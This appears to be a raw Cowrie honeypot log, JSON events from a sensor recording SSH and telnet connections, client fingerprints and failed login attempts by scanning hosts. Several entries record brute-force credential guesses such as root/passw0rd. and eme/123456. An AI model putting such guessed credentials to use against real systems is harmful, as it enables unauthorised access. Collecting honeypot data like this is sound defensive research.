{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:2f:d0:e8:fe:ae:dd:cf:a7:30:d2:d2:b3:8b:3e:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9IouA2nj9ad8lAh5yQTicxPRP0S+NgUZeCLB+AbX5sJ3uM2UgcOMMjHg4wcjvpRrjczqcZYLtFvrp14k/goLmA24JDoYVbaVqmmFPMEUd2McYoQnBbVXktl+jLxaI9hhz0kPZSidyu1ZNZulzv1aUVRicNZV5GD0+PB+x8+KspeFmudeKmEtVnxhdbJyuLRZiupG3ibYe0JunGW9KySthpYykyXnxrg5MvRGycStOypNTjLNEZ0ASMx96vuB50XhgBPjQQpAGvzBBTjUkhEwwRK8friV5WbZy+RZaNKKtyZ/qlSLkjsMwphtiO5iaT1HtYChC0yf/tplrnIsJsLq/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.847338Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:0c:f7:ec:ea:7f:51:76:2b:e5:ea:4f:5b:c2:7b:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KX0vrf8vXrzB21ClD6gMsrUlAC3IxAKW91QNtiqRwAu/SeoeW/VRvDzKZeNP4Nqq7PR0ssIbBqSfBJMKMnNJiqFtlh04x9IcA/lU9PgBeuCTxKoHhOHITuovz/EzN+EnH9hUf0wk7uX7lStJKNT3qSM3QepGwE+T0M6cW6KVjBfajBfCxUUL0ENKwbvuq8lqfhljIfr+7Hsm9cT0V07A4gDTWPHNvXk2u6XILdMxN3epqdZgPVHXzRnkabyneqvOkpk8anBw63D4VsSKFluINHt2Cmv7jFcr6DjTD7i8MB0Lo4JhFQFIWi7MaCb/DI5+q7sqfeQ5c1/dL3ofRVgGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:0c:f7:ec:ea:7f:51:76:2b:e5:ea:4f:5b:c2:7b:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.928919Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:0c:f7:ec:ea:7f:51:76:2b:e5:ea:4f:5b:c2:7b:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KX0vrf8vXrzB21ClD6gMsrUlAC3IxAKW91QNtiqRwAu/SeoeW/VRvDzKZeNP4Nqq7PR0ssIbBqSfBJMKMnNJiqFtlh04x9IcA/lU9PgBeuCTxKoHhOHITuovz/EzN+EnH9hUf0wk7uX7lStJKNT3qSM3QepGwE+T0M6cW6KVjBfajBfCxUUL0ENKwbvuq8lqfhljIfr+7Hsm9cT0V07A4gDTWPHNvXk2u6XILdMxN3epqdZgPVHXzRnkabyneqvOkpk8anBw63D4VsSKFluINHt2Cmv7jFcr6DjTD7i8MB0Lo4JhFQFIWi7MaCb/DI5+q7sqfeQ5c1/dL3ofRVgGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.931492Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:31:a4:3b:9f:f1:53:1a:f4:f9:21:92:37:7a:b5:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU12AMMJhqaX+fMzXItdDsaH9KTO+/vVp5GgE62VG6mqGZ4U+UN2lV8MUYbs/9mD2nH+9hP26/0aw0XY+8Nu17RPWmUyDaptYuqcUcNAscX2+KGjX+9nbzUnAH4zD0m5zpYHEauTT1TfJjBRIyDXxRNZUNgAkWGR73elb3WkEf8fy0qp6Vi1a0IBWW11jl6oh+XkuWXtA121tNVEvPQ64B0PsqlWo4Cp3zgNeOYiLlYf5PavdlxWUVOxuzLG4ErD7HbwnY1fBjI08YADDtKQ8gQLhtsPmF6aNsc2MAphYaVDPE6Tz7ZhjENdDfWSKAA8Un08DCIvj47pvPgYb1n4bN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:31:a4:3b:9f:f1:53:1a:f4:f9:21:92:37:7a:b5:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:29.018222Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:31:a4:3b:9f:f1:53:1a:f4:f9:21:92:37:7a:b5:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU12AMMJhqaX+fMzXItdDsaH9KTO+/vVp5GgE62VG6mqGZ4U+UN2lV8MUYbs/9mD2nH+9hP26/0aw0XY+8Nu17RPWmUyDaptYuqcUcNAscX2+KGjX+9nbzUnAH4zD0m5zpYHEauTT1TfJjBRIyDXxRNZUNgAkWGR73elb3WkEf8fy0qp6Vi1a0IBWW11jl6oh+XkuWXtA121tNVEvPQ64B0PsqlWo4Cp3zgNeOYiLlYf5PavdlxWUVOxuzLG4ErD7HbwnY1fBjI08YADDtKQ8gQLhtsPmF6aNsc2MAphYaVDPE6Tz7ZhjENdDfWSKAA8Un08DCIvj47pvPgYb1n4bN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:29.021526Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:79:b8:37:c6:40:ec:25:1d:3a:bb:ac:c7:60:59:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYU9P5otU4V4kwjBMTgGvb0v1b1c/oRApgLS2jSuGaRv9pBjCq4t+RkQFl1vVCzAoGXNFiHO3PaC3eH/L+3IqDf0K6mZR0m9ZkmeHiZn+JeZFI15egcFDTJKcHwZ89eHWYZxwyR56YGrjSZk5huB31y04SyYLUNcpkHSIF7ZyhYbekvfcnxqzvuM6Zya0bsbPZ8iM12Vjsk0mQrR7n70KN41hslfkKyBKn149/Tjg/eIyQaPTXhf8yHNsi3fSr4k5mU8E50ZUY08tAHQErnGmmXsU/yz94jRnr53d99aigbOnbVw8LYJ9itXRbMQX/Gebv8ECNM5bS75WNjeZfbvMuGhdLeVATatm3SHSIBAoYPSaAbmVbYVpxgn+qOcDW2zYUetTS7IueM4vgnxhXnfVb21v1sES3PvQIEZME1ZnmNyFscroJpOeAV4OACkVGKfHzwjzAOesgXc98gajw+PholtKPD04PUcXTil+MN1xUQu9IEJDr2LrxZy1bNmAw+k/qW1sOstOME7Rj/Z3pgKd6ACtxN9822JQbH+V0n0xBIJ7azLJofvsQ4NDTKKFnHNMoGfdh5m42Lpd1OsXJeiH/q77sdFYgWrV4Wb/lzkdbK8iHH/KqghVUdG73FKoBHoLoEmPuqDcUykbWaOZze8+KX8VBfAVmPwD7G4yEFcgb7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:79:b8:37:c6:40:ec:25:1d:3a:bb:ac:c7:60:59:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:29.103924Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:79:b8:37:c6:40:ec:25:1d:3a:bb:ac:c7:60:59:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYU9P5otU4V4kwjBMTgGvb0v1b1c/oRApgLS2jSuGaRv9pBjCq4t+RkQFl1vVCzAoGXNFiHO3PaC3eH/L+3IqDf0K6mZR0m9ZkmeHiZn+JeZFI15egcFDTJKcHwZ89eHWYZxwyR56YGrjSZk5huB31y04SyYLUNcpkHSIF7ZyhYbekvfcnxqzvuM6Zya0bsbPZ8iM12Vjsk0mQrR7n70KN41hslfkKyBKn149/Tjg/eIyQaPTXhf8yHNsi3fSr4k5mU8E50ZUY08tAHQErnGmmXsU/yz94jRnr53d99aigbOnbVw8LYJ9itXRbMQX/Gebv8ECNM5bS75WNjeZfbvMuGhdLeVATatm3SHSIBAoYPSaAbmVbYVpxgn+qOcDW2zYUetTS7IueM4vgnxhXnfVb21v1sES3PvQIEZME1ZnmNyFscroJpOeAV4OACkVGKfHzwjzAOesgXc98gajw+PholtKPD04PUcXTil+MN1xUQu9IEJDr2LrxZy1bNmAw+k/qW1sOstOME7Rj/Z3pgKd6ACtxN9822JQbH+V0n0xBIJ7azLJofvsQ4NDTKKFnHNMoGfdh5m42Lpd1OsXJeiH/q77sdFYgWrV4Wb/lzkdbK8iHH/KqghVUdG73FKoBHoLoEmPuqDcUykbWaOZze8+KX8VBfAVmPwD7G4yEFcgb7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:29.107041Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:29.324864Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.584978580474854,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:51.730533Z","src_ip":"170.64.224.25","session":"c81c6864d61d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54950,"dst_ip":"159.203.135.109","dst_port":23,"session":"685e15d1ff13","protocol":"telnet","message":"New connection: 170.64.224.25:54950 (159.203.135.109:23) [session: 685e15d1ff13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:53.028605Z"}
{"eventid":"cowrie.session.closed","duration":43.150891065597534,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:02.181818Z","src_ip":"170.64.224.25","session":"6f2d095f7d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":50232,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea6856be4b45","protocol":"ssh","message":"New connection: 181.218.9.86:50232 (159.203.135.109:22) [session: ea6856be4b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:02.943393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:02.947346Z","src_ip":"181.218.9.86","session":"ea6856be4b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.091355Z","src_ip":"181.218.9.86","session":"ea6856be4b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":60710,"dst_ip":"159.203.135.109","dst_port":22,"session":"54fc36c72fe7","protocol":"ssh","message":"New connection: 221.163.5.228:60710 (159.203.135.109:22) [session: 54fc36c72fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.411515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.415968Z","src_ip":"221.163.5.228","session":"54fc36c72fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.619864Z","src_ip":"221.163.5.228","session":"54fc36c72fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd.","message":"login attempt [root/passw0rd.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.717258Z","src_ip":"181.218.9.86","session":"ea6856be4b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":50148,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c78a11a66c1","protocol":"ssh","message":"New connection: 173.236.141.65:50148 (159.203.135.109:22) [session: 4c78a11a66c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.972397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.975855Z","src_ip":"173.236.141.65","session":"4c78a11a66c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:03.986013Z","src_ip":"173.236.141.65","session":"4c78a11a66c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^","message":"login attempt [root/admin@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:04.016194Z","src_ip":"173.236.141.65","session":"4c78a11a66c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"novoadmin","message":"login attempt [root/novoadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:04.469068Z","src_ip":"221.163.5.228","session":"54fc36c72fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:04.863070Z","src_ip":"181.218.9.86","session":"ea6856be4b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:05.028228Z","src_ip":"173.236.141.65","session":"4c78a11a66c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:05.677207Z","src_ip":"221.163.5.228","session":"54fc36c72fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.92277216911316,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:11.614061Z","src_ip":"170.64.224.25","session":"5e4aa9c683a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.3366482257843,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:14.365127Z","src_ip":"170.64.224.25","session":"685e15d1ff13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33766,"dst_ip":"159.203.135.109","dst_port":23,"session":"200a8f381055","protocol":"telnet","message":"New connection: 170.64.224.25:33766 (159.203.135.109:23) [session: 200a8f381055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:25.684936Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":33322,"dst_ip":"10.17.0.5","dst_port":22,"session":"270020fced23","protocol":"ssh","message":"New connection: 38.242.143.220:33322 (10.17.0.5:22) [session: 270020fced23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:27.037696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:27.041061Z","src_ip":"38.242.143.220","session":"270020fced23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:27.133579Z","src_ip":"38.242.143.220","session":"270020fced23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"link","password":"link123","message":"login attempt [link/link123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:27.416322Z","src_ip":"38.242.143.220","session":"270020fced23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:28.508998Z","src_ip":"38.242.143.220","session":"270020fced23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":54602,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe230b560df","protocol":"ssh","message":"New connection: 191.7.26.153:54602 (159.203.135.109:22) [session: cfe230b560df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:30.594146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:30.597997Z","src_ip":"191.7.26.153","session":"cfe230b560df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:30.723074Z","src_ip":"191.7.26.153","session":"cfe230b560df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eme","password":"123456","message":"login attempt [eme/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:31.254710Z","src_ip":"191.7.26.153","session":"cfe230b560df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:42:32.380420Z","src_ip":"191.7.26.153","session":"cfe230b560df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43370,"dst_ip":"10.17.0.5","dst_port":22,"session":"1420d6ac5dd9","protocol":"ssh","message":"New connection: 87.251.79.125:43370 (10.17.0.5:22) [session: 1420d6ac5dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:06.142033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:06.145813Z","src_ip":"87.251.79.125","session":"1420d6ac5dd9","protocol":"ssh"}
